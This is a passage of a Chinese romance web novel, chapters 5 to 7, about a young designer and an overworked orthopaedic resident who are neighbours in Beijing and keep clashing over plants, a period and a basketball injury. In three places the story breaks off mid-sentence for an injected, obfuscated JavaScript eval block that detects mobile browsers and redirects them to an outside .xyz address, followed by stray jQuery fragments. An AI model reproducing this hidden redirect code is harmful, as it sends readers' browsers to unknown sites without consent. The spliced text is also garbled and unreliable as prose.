把盆捧下来放到小茶几上,灯光下看得更清楚,盆沿周围散落着掉落的叶片,厚实饱满,只是失去了水分显得有些软塌。她心疼地捡起,没有虫害,只能是因为缺水。北京还是太干。
她发现掉叶子的位置很有意思。左边掉了一片,对称的右边那片也掉了;后面掉了两片,对称的前面那两片也明显松动。整个植株的叶片,遵循着堆成规律在脱落。黄转青觉得惊奇。
“你这是在搞行为艺术吗?掉叶子还要讲究对称美?”她用手指轻轻碰了碰一株松动的叶片,果然晃晃悠悠地掉了下来,落在先前那片的正对面。
“嘿,还真是!”一天的疲惫仿佛都被这盆掉叶子掉出强迫症的金景天给逗消失了些。
摸出手机拍了几张照片,接着去编辑朋友圈:“金景天可能是个处女座或者数学家?连掉叶子都掉得这么对称。这是什么新型植物行为艺术吗?”
发完看到时间已经转钟,一不小心又到这么晚。放下手机去厨房倒了杯水,端着水杯回来坐下。
首先看到虞鱼的评论:“有点秃然。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190005|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
再下一条一个熟悉的奶牛猫在列:“这个点还不睡,优思明吃了也白吃。【黄豆微笑】”
黄转青看那条评论,那个带着嘲讽意味的微笑表情。狗嘴里吐不出象牙!
为什么这么生气,因为她确实月经还没来!
“说得跟你睡了一样!”
那边秒回:“我又没病。【黄豆微笑】”
黄转青感觉自己的拳头硬了!她点开和周桨鸣的微信对话框。发过去一个竖得笔直的中指表情包。
周桨鸣没有回复那个中指,大概是被噎住,或者觉得幼稚懒得理。
黄转青重新捧起那盆金景天,浇完水后重新把它放回窗台的架子上。走到窗边,城市的霓虹在远处闪烁,楼下偶尔传来车辆驶过的声音。深夜的寂静包裹着这个小空间。
她看了一眼手机屏幕,那个中指表情包还静静地躺在对话框里。
这个人,没有聊天德!
倒真不是周桨鸣故意不回消息。黄转青那个表情包弹出来的时候,周桨鸣刚把一个嚎得撕心裂肺的小胖子按在处置床上。
“别动!再动骨头歪了长不好,以后就成瘸子了!”周桨鸣的声音很严肃,他一手按住孩子乱蹬的腿,皱巴巴的白大褂袖口卷到手肘,小臂线条绷紧,青筋都凸起来了。
这里是骨科,需要的是力气和手段。骨折、开放性伤口、关节脱位都是常态,哭喊呻吟是背景音。
小胖子是玩滑板摔的,右前臂明显畸形,初步判断桡骨远端骨折。周桨鸣的手指在皮肤上按压,孩子疼得直抽抽,鼻涕眼泪糊了一脸。
“片子。”周桨鸣头也不抬地朝旁边的护士喊了一句。声音不大,护士立刻小跑着去催放射科。
他直起身在电脑上调出急诊病历模板,记录主诉和查体。
旁边孩子的妈妈还在不停问:“医生,严重吗?要手术吗?会不会留疤啊?”
周桨鸣眼神并未分过来,手指不停:“先等片子。复位看情况。现在别问,问了我也不知道。”
语气是一点安抚的意思都没有。这也真不是他倨傲,换平常他可能会装得像一点。他当然知道家属焦虑。但是现在连轴转了快三天,三天加一起统共没睡到八小时。有那功夫说漂亮话,不如省下力气搬大腿打石膏,情况不对还得提起全身力气砸骨头。
片子很快传过来了。骨折移位明显,得立刻手法复位。复位室准备好,他招呼另一个规培生:“小张,过来搭把手,按住他肩膀。”
复位的过程短暂,孩子的惨叫激烈。周桨鸣全部精神都集中在手上,汗水顺着鬓角滑下来,痒痒的,也顾不上擦。
固定、打石膏,一气呵成。等石膏开始变硬定型,周桨鸣摘掉手套,甩了甩有些发麻的手腕,才感觉后背已经汗湿一片,黏糊糊地贴在身上。周桨鸣心里只有三个字:烦死了!
交代完转身就出了处置室。走到分诊台旁边,拿起自己的保温杯——里面是冰奶茶,灌了一大口。摸出手机想看看时间,就看到了黄转青的消息,一个硕大的中指表情包弹出来。
周桨鸣:……
他盯着那个嚣张的中指,脑子里迅速回溯。
想起来了前因后果。看着表情包,有点无语,有点好笑,还有点不爽。被人直接甩中指表情包还是头一遭。想输入点什么。输入什么?骂回去?太幼稚。解释自己刚在忙?没必要。问她那盆植物到底怎么回事?显得他多关心似的……
最终什么也没输入。
呼叫铃又响了起来,护士在喊:“周医生!车祸那个,血压下来了!”
周桨鸣立刻把手机塞回口袋,刚才那点纠结被抛到九霄云外。他边走边问:“开放静脉通路了没?补液速度加快!通知血库备血!联系手术室准备!”声音恢复效率。
这一忙又是昏天黑地。处理完危重病人,后面还有几个清创缝合的等着。等周桨鸣终于能走出急诊大楼,天已经大放光彩。但是周桨鸣放不起来。
清晨微凉的空气吸入肺里,才感觉稍微活过来一点。摸出手机打车,他没下打车软件,一般直接在微信小程序里打,不可避免地点开微信,还停留在那个嚣张的中指表情包里,像是一个午夜插曲。
周桨鸣看着那个表情包,嘴角向上。
把所有车型全选,得抓紧时间回去,睡不了几个小时。下午还得回医院写堆积的病程记录。轮转医生的日子,疲惫是底色、本色、特色,还有能想到的所有颜色。真是让人黄豆微笑。
他累得连生气的力气都没有了,也真的懒得回消息。他想起黄转青那些生机勃勃的绿植,低头看了看自己因为长时间戴手套而有些发白发皱的手指。
车来了,城市在窗外飞速倒退。各种碎片在极度疲惫的大脑里搅成一团,最终归于一片混沌睡意。
5. 卫生巾的历史遗留
第二天早上,黄转青是被小腹一阵本该熟悉但是已经陌生了很久的不适感弄醒的。她迷迷糊糊伸手去够手机看时间,刚碰到屏幕,脑子里已经清醒了大半。弹坐起来,掀开被子就往卫生间冲。几分钟后,她长长地呼出一口气。
来了!总算来了!
困扰了她几个月的石头终于落了地。优思明吃着,提心吊胆观察着,现在总算看到了效果。虽然伴随着熟悉的腰酸和小腹不适,但这不适显得很亲切。她迅速垫上卫生巾,心情像窗外渐次明亮的天空,豁然开朗。
醒得早,给自己做了个早饭。吃完再简单收拾后就出门,挤早高峰地铁时被人踩了一脚,她都没像往常一样不耐烦。身体恢复正常运转的实感,此刻在她心里比什么都踏实。
到了公司,刚在工位坐下打开电脑,准备投入新一轮的拆分图层大战,那股更汹涌的暖流就来势汹汹。
得,早上垫的那片肯定顶不住。
黄转青拉开抽屉——空的。
这才想起来,从厦门那会儿开始就没来月经了,到北京后更是没想过要在公司里备着。大失策!
她点了外卖,就是得要一小时后送到。给虞鱼发消息:“救急!有卫生巾吗?”
虞鱼迅速明白她的意思,立刻拉开自己的通勤包翻找。
“啊!我包里最后一片早上刚用完!忘带了新的。我帮你问问别人吧!”
“不用不用,我自己问!”
黄转青感觉那股暖流绵绵不绝,她坐立不安。不行,等不了。目光扫过略显安静的办公室,大部分同事都已就位,键盘敲击声此起彼伏。她点开部门原画组的微信群,是一个平时主要用来发通知和吐槽的群。因为原画组的几个女生都没加联系方式,一个个的去加好友再去问实在麻烦。也没什么好扭捏的:“紧急求助!哪位有多的卫生巾吗?”
消息发出去,黄转青盯着屏幕,等着哪位女同事回应。突然,一个顶着动漫男头的ID跳了出来。
王浩:“我有。”
黄转青:“???”
她以为自己眼花。还没等她反应过来,又一条消息跳出来:
李帆:“我这儿也有。”
赵博:“我这也有,崭新未开封!”
这时女同事也回应了黄转青,黄转青正在思考呢,旁边已经传来脚步声。是王锐,一个平时话不多有点腼腆的男生。他手里拿着一个印着常见品牌LOGO的塑料包装,表情带着点局促,但动作还算自然:“给你。”
黄转青双手接过那包及时雨,确实是一包未开封的日用卫生巾!尴尬和感激交织。
“谢谢谢谢!我等外卖到了立刻还你一包新的!”
王锐摆摆手,他觉得这话有点怪:“真不用还。你还我我也没用啊。”
“对哦……”
王锐解释道:“过完年回来,我们原画组去凤凰岭团建爬山。老周不知道从哪儿听来的,说卫生巾当鞋垫特别吸汗,走长路不磨脚,一人发了一包。”
他话音刚落,李帆和赵博也走了过来,手里各自拿着一包卫生巾。
李帆:“对,结果谁也没用上这神器。放抽屉里几个月了,你不说我都忘了。”
赵博:“喏,我的也给你,反正留着也是落灰。”说着就把自己那包也放在了黄转青桌上。
黄转青看着自己桌上突然多出来的三包卫生巾,再看看眼前三个男人表情坦荡,但都带着终于甩掉烫手山芋般的轻松。
赵博戏精上身,捏着嗓子模仿主美当时的语气:“同志们!细节决定成败!舒适才能登顶!别小看这一片柔软,它能让你征服高山!”说完他自己先笑了。
“征服了个寂寞!全组人爬山时包里都揣着这么一包,这些男的跟揣着定时炸弹似的,生怕掉出来社死。”女同事汪蓝也走过来,接了赵博的话。
汪蓝手上拿着一片夜用的卫生巾,朝黄转青递过来:“他们的是日用的,比较短,你量大吗?量大的话用我这个。”
“谢谢你们。”她由衷地说,这次语气轻松多了。
王锐他们点点头,转身回了自己工位。黄转青拿起那三包递给汪蓝:“你要吗?”
汪蓝笑着拿走了一包:“替他们解决解决历史遗留问题!”
黄转青拿着汪蓝给的那片夜用,快步走向卫生间。解决完燃眉之急,她站在洗手台前洗手,看着镜子里自己,忍不住笑着摇了摇头。这都什么事儿啊!
坐回工位上,才发现周桨鸣刚给她发了微信,准确来说是回复了她凌晨的微信消息。
周桨鸣回了一张照片。画面中央是她送的那盆土人参,被安置在一个白色小瓷盆里,显然是他后来换的,放在一个光线充足的窗台上,但抢镜者是旁边那只瘫成一张猫饼的小叮当。
小叮当占据了画面右半边,正眯着眼肚皮朝上。一只爪子还随意地搭在窗台边缘,距离盆只有几厘米,姿态慵懒。同样的阳光,把它黑白的毛发照得蓬松发亮。
照片下面紧跟着一行字:
“谢谢。绿植放阳台了。猫也喜欢。”
这画面太有生活感。她刚想回复不客气,第二条消息又来:“你身体怎么样了?”
这个话题真是转变快。
但黄转青现在心情好。目光落在工位窗台上,绿得生机勃勃。黄转青拍下来,和自己的消息一起发过去:“我月经来了!”
周桨鸣秒回:“恭喜恭喜。”
医院走廊上,周桨鸣刚查完房,正低头翻看着手里的病历夹。手机震动了一下。他脚步没停,腾出一只手摸出手机,划开屏幕,脚步停了。脸上没什么表情,但是把那张一堆绿植的照片存了下来。心里想:我养的不是跟这差不多吗?
回完把手机塞回口袋,推开下一间病房的门。窗外的阳光很好,但被厚厚的窗帘挡住大半。他走到病床前,声音是一贯明显的装出来的温柔。不废话吗,不温柔病患分分钟投诉。
“3床,今天感觉怎么样?腿还痛吗?”
处理完手头紧急的事务,周桨鸣坐下喘口气。
办公室的窗户开着一条缝,外面是医院的嘈杂。办公室里则是弥漫着名为疲惫的挥发性物质。其他几个同样刚下手术或写完病程的规培生和住院医,个个蔫头耷脑,眼神放空,像被抽干了灵魂。
周桨鸣点开手机,上下滑动,小郑察觉到了什
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190006|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么,贼兮兮的凑过来,“狗贼!又点东西喝呢?”
小郑和周桨鸣是大学同学加研究生同学,不是发小,但关系跟发小没差。何况两人选的都是骨科,又一块儿进轮转,更是多加了一层战友情。偶尔下手术台遇见了,两个人谁也不嫌弃谁那丑到天怒人怨的样子,还能凑一起抽根烟。
江湖上是英雄惜英雄,他们那互相是狗贼惜狗贼。
小郑此刻饿得前胸贴后背,指望跟着周桨鸣蹭点外卖。
周桨鸣手指顿了一下,因为他刚才其实在看微信。迅速把手机屏幕侧了侧,挡住小郑的视线,“嗯”了一声,算是回应,但明显没有分享的意思。
“周医生?”一个怯生生的声音在旁边响起,“16床的术后康复计划,您看这样写行吗?”
周桨鸣刚才那点私人思绪被压回角落,接过平板电脑扫过屏幕上的文字:“被动活动要等到肿胀初步消退,具体看引流情况……”
周桨鸣说话有气无力的,但条理分明。
办公室的门被推开,一个年轻的女病人坐在轮椅上被护士推了进来,脸色苍白,手按着小腹。
“周医生,她骨盆骨折保守治疗到了第三天,现在说肚子疼得厉害,阵发性的,您给看看?”护士解释道。
周桨鸣站起身,走到轮椅前例行询问:“怎么个疼法?具体位置?和骨折的疼痛一样吗?有没有恶心呕吐?最后一次月经什么时候?”
女病人声音虚弱:“就是小肚子这里,一阵一阵的,有点恶心,月经好像刚走没几天吧?”
周桨鸣戴上手套,一边进行腹部触诊,一边吩咐护士:“联系妇科那边,给她测个体征,注意观察有无□□流血。”
这是在排除可能的急腹症。
在等待妇科医生来的间隙,他看了一眼脸色痛苦的女病人,停顿了一下,补充了一句:“放松点,别太紧张。”
小郑闻言,略带诧异地看了周桨鸣一眼。
在女病人被妇科医生接走后的大约半小时,外卖电话响起。周桨鸣快步走出办公室又很快回来,手里拎着一个印着奶茶店的塑料袋,放在了桌上,众人啊啊啊地叫了几声就过来分奶茶。
小郑拿出一杯,看了一眼是冰淇淋红茶,放到了周桨鸣桌上。
周桨鸣撕开吸管包装精准地扎破了密封膜,低下头就着吸管用力吸了一大口。高糖分带来的满足感,让他放松一瞬。随即又吸一口,咽下那口甜蜜的负担,再专注地盯着屏幕上的术后记录。
多数同事早已见怪不怪,只有一个刚轮转过来的研一学生睁大眼睛,确实是没想到。手法冷硬,说话也不好听的周医生,私下里爱喝点儿小甜水。这反差够他私下跟女友八卦好一阵子。毕竟像周桨鸣这个年纪的医生,不到三十,长得不赖,肯定少不了人对其感兴趣。他女友想把一个小姐妹介绍给周医生,肥水不流外人田。听说自己男友轮转和周桨鸣碰上了,惊呼,这岂不是天赐良缘!
他悄悄拿出手机偷拍了一张,结果周桨鸣跟个鹰眼一样,眼神就这么瞟了过来,吓得他立刻立正!还带着点讨好的笑容。
周桨鸣哼了一声,没理他,故意又吸了一口奶茶。
6. 这人怎么说话不算数
周六上午,黄转青去了趟花卉市场,快中午时才回到单元楼下。
远远就看到单元门口站着两个人,其中一个是周桨鸣。另一个男人背对着她,穿着正式,一只手搭在周桨鸣的肩膀上,姿态亲昵,像是在说什么。
周桨鸣手里拿着一个文件袋似的东西,对肩上的重量不太耐烦,胳膊肘地往后一顶,把那只搭着的手给杵了下去。
黄转青抬着一盆小茴紫,手腕处的无纺布袋里还有盆玉兔,沉沉压着她,就像此刻她的心也被沉沉压着。
她想:这谁?新欢吗?动作这么亲密……
想起之前□□欲言又止的话,那个已经去世的前爱人。
这才多久?周桨鸣这个人果然……
这无缝衔接的速度,这爱答不理的态度,对新欢旧爱还真是“一视同仁”啊!
一股说不清是失望还是鄙夷的情绪涌上来。
那边,周桨鸣察觉到视线,转过头来看到黄转青。
脸上那点不耐烦还没散干净,眼神里闪过意外,正想开口打个招呼。
黄转青心头石油无名火的,根本不想理他。
装作没看见,脚下加速,像一阵风似的刮过他身边进了单元楼。
留下一个冷漠的后脑勺。
周桨鸣那句“回来了?”咽了回去。
原本还打算帮她搭把手搬东西上楼,看着她拎那么些,怪费劲。结果人看见他就跑,几个意思?
自己哪儿又惹她了?
再说了,不是她一开始先说的碰见了得打招呼的吗?这人怎么说话不算数。
“这姑娘谁啊?脾气挺大,这么烦你?”
旁边被杵开手的鞠应久,一脸看好戏的表情。
难得见到周桨鸣主动想跟个姑娘打招呼,结果还被人无视,太稀奇。
“搬这么多花,你也不去搭把手!你妈妈最喜欢爱花之士了。”
“那你让我妈来帮忙搬啊。”周桨鸣没好气。
“到底是谁啊?”
周桨鸣呛了一句:“路人甲。”
鞠应久:……”
“我回去了。”周桨鸣说完拿着文件袋转身就走,懒得再废话。
得。
黄转青按下电梯按钮,心里还在忿忿不平。
都是骗人的!亏她还……电梯来了,她走进去,对着内壁做了个鄙视的表情。
第二天傍晚,在十九楼的电梯口。
黄转青刚出电梯,就看见周桨鸣靠在墙边,抱着胳膊。
这显然是在等她。
一看到她,周桨鸣就开口:“昨天我哪儿惹到你了?”
他想了一晚上,还是实在想不通。他好学,真的想弄个明白。
黄转青有点懵:“什么?”
“你昨天看到我,招呼也不打一个,扭头就走,这么没礼貌?”
黄转青这才反应过来他说的是昨天楼下的事,被他这么一问,她心想:你还敢提?!
抬起下巴,带着讽刺:“你以前的爱人刚去世不久,你转头就又有了新欢,你的喜欢怎么来得快去得也快的?当时那么伤心的是你,现在转头就忘的也是你?”
周桨鸣的脸色精彩纷呈。
表情从疑惑,到愕然,再到荒谬。
这说的还是还是中文吗?
“没听懂……我没有旧爱,也没有新欢。我单身28年。你是不是认错人了?”
周桨鸣抿了抿嘴,这个猜测很离谱,但这是目前最合理的猜测。
黄转青看他的表情不似作伪,其实已经感觉到不对,但还是硬着头皮把话说明白:“我帮你在宠物医院照顾猫的那次,你朋友肖忻说的啊。说那个谁去世了,你俩以前好过,咳,昨天楼下那个男的,跟你勾肩搭背的,不是你新找的吗?”
说到后面,声音越来越小,底气明显不足。
周桨鸣:……
他叹了口气,叹完靠在墙上,眼神望向电梯另一侧的窗户,外面是灰蒙蒙的天空。
“昨天楼下那个是我发小,昨天他是来给我送份文件。不是什么新欢,我对他没兴趣,他对我也没兴趣。”
组织语言解释更关键的部分:“至于你说的那位,那不是什么恋人。也是以前的朋友,后来闹翻了。”
真相大白。
黄转青尴尬得脚趾抠地。
她低着头,开始蚊子哼:“这样啊……对不起……我不知道……误会了……真是很抱歉……”
周桨鸣看着她那样儿,有点心软,又开始安抚:“没事。也怪我,怪我当初跟肖忻聊得太有误导性。”
听到他把责任揽过去一部分,黄转青顺杆爬,点头:“对,不全是我的错。对吧?主要是信息源有问题。”
周桨鸣忍住笑:“嗯,当然不全是你的错。”
误会解除,气氛却比之前更加微妙了一点。
黄转青胡乱点了点头,飞快地告别回家。
周桨鸣看着她仓皇的背影,轻轻笑了。误会虽然离谱,结果似乎不算太坏。
他摇摇头,也下楼回家。
到了周一。
万恶的周一,黄转青加班到了晚上十点。
北京是一座夜生活并不丰富的城市,至少在海淀这边可以说是完全没有。
极其少的情况下,能看到一些大妈们跳广场舞。
但不知道是不是海淀大妈的原因,她们跳起广场舞来十分拼命,很卷。
不像是为了消食或者是锻炼身体,像是打仗。
黄转青倒不是热爱夜生活,只是她来自南方。
厦门夏天的的晚上十点,街上还熙熙攘攘。
买份四果汤,她往往会再买份醋肉。十里长堤那儿,晚上十点正是那些文艺青年热闹的时候,小林的家就在十里长堤附近……欸,想远了。
黄转青对自己说了一句“收!”
十九楼,她抬头望了一眼。声控灯随着她的脚步声逐层亮起,又在身后逐层熄灭。
可能是经期的缘故,爬到八楼,疲惫感就开始汹涌。
她甩甩头,给自己打气:“加油!”嘿咻!嘿咻!
嘴里小声地给自己喊着号子,脚步也加快了些,试图用速度驱散疲惫。
咚咚咚地踩在水泥台阶上,脚下踩的不是楼梯,而是阻碍她回家的敌人。
“十二楼!胜利在望!”嘿咻!嘿咻!
“十六!冲啊!”嘿咻!嘿咻!
踏上十七楼的转角平台,周桨鸣刚把烟头摁灭,掸了掸并没有烟灰的衣角。
“周医生啊。”黄转青喘着气,脸上因为刚才的加速泛着红,说话还有点费劲。
周桨鸣点了点头:“嗯。我回去了。”
正要推消防门回自己家,在手指快要碰到门把手时,动作不再继续,停得很莽撞,看起来跟被定身了一样。
他突然想起了什么荒谬的事情,表情有些疑惑,看向还在平复呼吸的黄转青。
“你,”他的声音带着一种无语感,“不是月经来了吗?”
黄转青愣了一下,没明白他为什么突然提这个:“对啊,怎么了?”
她以为他是在关心后续情况。
周桨鸣看着她茫然的脸,那双写满“所以呢?”的大眼睛。
他抬手,用食指关节敲了敲自己的太阳穴位置,像是在提醒她动动脑子,也像在提醒医院里那几个不开窍的学生:“月经期间,避免剧烈运动。剧烈运动增加腹压,容易导致黄体破裂。”
“你这几天就坐电梯回家呗。停这几天也不影响你训练吧?”
黄转青:“?”
她消化完他话里的意思。先不管自
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190007|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
己这是不是在训练。
剧烈运动?她低头看看自己。这要是算剧烈运动,那公园里跳广场舞的大妈们岂不是个个都在玩命?
“爬个楼梯也叫剧烈运动吗?”
她觉得自己简直冤枉死了。周桨鸣这医生当得也太草木皆兵了吧。
周桨鸣看着她瞪圆的眼睛非但没有收回话,反而像是被她的反应点燃了胜负欲。
挑起一边眉毛,表情传达出了六个字:你还好意思问?
“算不算剧烈运动,是看你的运动表现,不是看运动项目本身。你从至少十楼就开始加速了,嘿咻嘿咻的,边爬还边给自己加油鼓劲,动静大得跟要冲锋陷阵似的。这种状态。”
周桨鸣咳了几下,再继续说:“这种高代谢、高心率的身体应激状态,对目前的你来说,不是剧烈运动是什么?”
黄转青:“……”
震撼,巨大的震撼。比收到三个男同事递来的卫生巾还要震撼。
“你偷听我爬楼梯?”她的声音都变了调,充满了难以置信。
周桨鸣不遑多让,脸上也充满了难以置信。
“这还用偷听?”
太荒谬了吧!
周桨鸣抬手指了指自己的耳朵:“我只是站在这里抽烟。你声音那么大,情绪那么高涨,我很难听不见。”他还一个字一顿的再次强调,“被动接收,懂?”
天杀的!黄转青气得胸口剧烈起伏,手指头都攥紧。
她张了张嘴,脑子里一片空白,搜肠刮肚半天,愣是憋不出一句有杀伤力的话来。
就在她憋得快要爆炸的时候,周桨鸣又开口。
他看着黄转青那副要气死了却又哑口无言的样,想到了一些事情,语气促狭。
“怎么?又想对我竖中指?”
这句话引爆了黄转青的羞愤和怒火。
“这有什么好笑的啊?你有病吧?”
她语无伦次。
这番气急败坏非但没有震慑住周桨鸣,反而戳中了他的笑点。
周桨鸣侧过头去,笑得肩膀耸动,十分欠揍。
黄转青傻眼。
她骂他,他笑成这样?
这人是真的有什么大病吗?
她感觉自己像个傻子,站在这里看一个疑似精神分裂的医生发疯。
“你有病吧!”
她最终从牙缝里再次挤出这三个字。
无法忍受这诡异的气氛,也顾不上什么剧烈运动不剧烈运动,推开消防门——在推开消防门之前先用力地推开了站在消防门前的周桨鸣。
黄转青跑进电梯间,金属门在她面前合拢,狭小的空间里只剩下她自己的喘息和心脏狂跳声。
“神经病。”她对着电梯门咬牙切齿,仿佛那是周桨鸣本人。
门上映出她此刻的模样:头发因为汗水和刚才的冲撞有些凌乱,脸颊红得很有生命力,眼睛瞪圆。
这副样子,连她自己看了都觉得滑稽。
电梯平稳上升,数字从17到19,她站直身体,摆出一副“什么都没发生,我很平静”的表情,走出了电梯。
走廊里空无一人,几乎是同手同脚地走到自家门口,掏出钥匙,开门,闪身进去。安全了。
周桨鸣的笑声渐渐平息。他刚刚被黄转青大力推到了一边,现在重新走进去。
他自己都觉得莫名其妙,有什么好笑的?连续加班累出幻觉了吧?
回家后走到窗台边,看着那盆植物在夜色里依然舒展,他拿起喷壶给叶子喷了点水,脑海里却不受控制地回放着楼道里那张被气到的脸。
闻了闻土人参散发出的清爽,试图安抚自己有些混乱的神经。
结果没忍住的笑声再次传出,他低头看着绿植,像是在对绿植说,又像是在自言自语:“跟个番茄一样。”
7. 野球
这之后几天,黄转青都老老实实坐电梯回家,直到经期彻底结束,她才继续爬楼梯这项艰巨工程。
只是现在爬楼梯时,耳朵总会竖起来,很警惕。有时会对着消防门暗骂:“管得真宽!”
周桨鸣的日子被忙碌填得满当。
他习惯了独来独往,值完班脱下那身白大褂塞进柜子就走。同事偶尔约饭他也多半推掉,比起聚餐更乐意回家点外卖。
从早到晚都跟这群人待在一起,下班之后是完全不想再跟他们有任何交集。
偶尔在楼道抽烟,听见楼下传来脚步声,他会下意识仔细听一下。
再没听到那元气十足的声音,心里倒流泻出连自己都未深究的异样,只是很快又被疲惫覆盖。
窗台的那盆东西长势喜人,小叮当现在对这盆植物完全不感兴趣。可能这只猫喜欢的确实不是土人参,而是土人参的主人吧。周桨鸣心里想。
偶尔他会对着土人参发会儿呆,脑子里就会闪过一张气鼓鼓的番茄脸,然后嘴角牵动一下,又迅速抿平。
生活嘛,忙的事情多了,很多小插曲发生过也就忘了。
难得的调休日,周桨鸣约了几个穿开裆裤一起长大的发小——鞠应久、肖忻、丁术。都是奔三张的人了,平日里被生活捶打得灰头土脸,凑在一起打场球,是难得的能找回点少年心气的出口。
几个人早就在群里嗷嗷叫了,周桨鸣看着手机上滚动的:“球场见!谁不来谁是孙子!”
地点是海淀公园旁边一个半旧不新的露天篮球场,塑胶地皮有点年头,都裂了,篮筐也锈迹斑斑。
条件很一般,却是附近野球爱好者的圣地。
鱼龙混杂,气氛热烈得近乎粗野。
这天球场格外热闹。
几个穿着崭新篮球服,动作却明显生疏的年轻姑娘也在场边拍球。叽叽喳喳,显得格格不入。
周桨鸣扫了一眼,觉得闹心。
野球场不是给新手排练的地方。
球场上,汗水、尘土、男人的体味混杂在一起。
没有裁判,规则全凭自觉和口头争论,肢体碰撞在所难免,火气很容易就拱上来。
周桨鸣打控卫,专注组织着,试图撕开防守。
他喜欢这种用脑子打球的感觉,能暂时忘记医院的压力和生活的琐碎。
混乱发生在一瞬间。
鞠应久一个突破分球,力道大了点,球直飞向底线。周桨鸣为了救球,侧身飞扑出去。就在他堪堪触到球的刹那,另一侧一个急于抢断的男的也横冲过来,两人撞在一起。
混乱中,不知是谁抢下的球,又或是谁慌乱中拍飞的,一颗橘红色的斯伯丁带着风声,砸在了周桨鸣的腹部。
位置刁钻,在肋骨下缘。
周桨鸣闷哼一声,捂着肚子蜷缩下去。痛得他眼前发黑,气都喘不上来。
“草!你大爷的眼瞎啊?!”鞠应久第一个炸了,指着那个撞人的男的就吼开。
肖忻他们也冲过来:“怎么打球的?!奔着人去的?!”
对方也不是善茬,立刻围上来几个人:“推谁呢!自己不长眼撞上来怪谁?!”
“放你爹的屁!明明是你们的人乱撞!”
火药味爆发来。周桨鸣蜷在地上,痛得说不出话,只能按住剧痛的部位,感觉内脏都在痉挛。
他知道这种地方,野球场是这样的,几句话不对付就能打起来,都是些年轻气盛的主儿,下手没轻没重。
就在两边人快要顶牛动手的当口,场边突然传来一声尖叫:“啊!我的脚!”
所有人循声望去,刚才在场边练习投篮的一个姑娘跌坐在地上,双手抱着自己的右脚踝。她的同伴围着她,惊慌失措。
刚才她们场上的冲突也激烈,还是男女混打。
野球场!男女混打!这像话吗!
周桨鸣真觉得这世界颠了。
所以不知谁被推搡着后退,一脚踩在了正弯腰捡球的姑娘脚踝上。
“骨折了!肯定是骨折了!”一个懂点常识的姑娘带着哭腔喊。
周桨鸣忍着腹部痛,挣扎着抬头看了一眼。那姑娘的右脚踝肿胀变形,确实是典型的踝关节骨折脱位。作为骨科医生,他太熟悉这种了。职业本能压倒了怒火。
“真草了大爷的,都别吵了。”他咬着牙吼了一声。挣扎着想站起来,腹部的痛让他又趔趄了一下,鞠应久他们赶紧一左一右架住他。
“我没事儿,别扶我了,帮忙把那姑娘抬起来吧。小心点,托着腿和腰!送医院,就我们医院!”
那个撞了周桨鸣的男的和同伴都看傻了,看着周桨鸣惨白的脸和捂着肚子的痛苦样儿,再看看那边痛得直哭的姑娘,一时也没了火气。对方领头的一个挠挠头,也招呼自己人:“来俩人,帮忙搭把手!”
刚才还剑拔弩张的两拨人,在突如其来的意外面前,暂时放下敌意。
七手八脚,小心翼翼地把受伤的姑娘抬起来。姑娘疼得眼泪直流,她的同伴们不停安慰她,也对着周桨鸣他们几个连声道谢:
“谢谢!谢谢大哥们!”
“太感谢了!要不是你们……”
周桨鸣被鞠应久半架着走在旁边,咬着后槽牙忍痛,没力气回应,只挤出几个字:“赶紧走吧你们……”
一路风驰电掣到了医院急诊大厅。
熟悉的消毒水味,和更加熟悉的喧嚣人声,周桨鸣竟然都觉得心安……
周桨鸣示意他们把姑娘放在移动担架床上。他记得今晚是张大夫值班,走去值班室,张大夫正埋头写病历呢。
“张哥,我。外面有个踝关节骨折脱位的,女患者,得赶紧处理。”周桨鸣声音有些虚弱。
张大夫抬头,看见周桨鸣的样子吓了一跳:“哟!小周,你怎么了?脸色这么差?”
“打球,被球闷了一下,不碍事,先看病人。”
“不碍事那你自己去看呗!我这忙着呢!”
“……”
“你搁这儿撒娇呢?”
“……”
周桨鸣一句话都不想多说,索性摆摆手,熟练地扯处自己那件白大褂,迅速套在身上。再快步走到诊室。
那个受伤的姑娘正躺在检查床上,疼得直抽冷气,她的同伴围在床边。
她们看到刚才那个捂着肚子,被同伴架着进来的好心人,此刻穿着白大褂,神情严肃地走进来时,也看啥了。
姑娘连哭都忘了,睁大泪眼,茫然地看着周桨鸣:“你确定自己是医生吗?”
周桨鸣没看她们,动作麻利戴上手套,声音带着职业性的安抚,却没什么温暖人的情绪:“嗯。别怕,我先看看情况。”
他小心地托起姑娘的伤
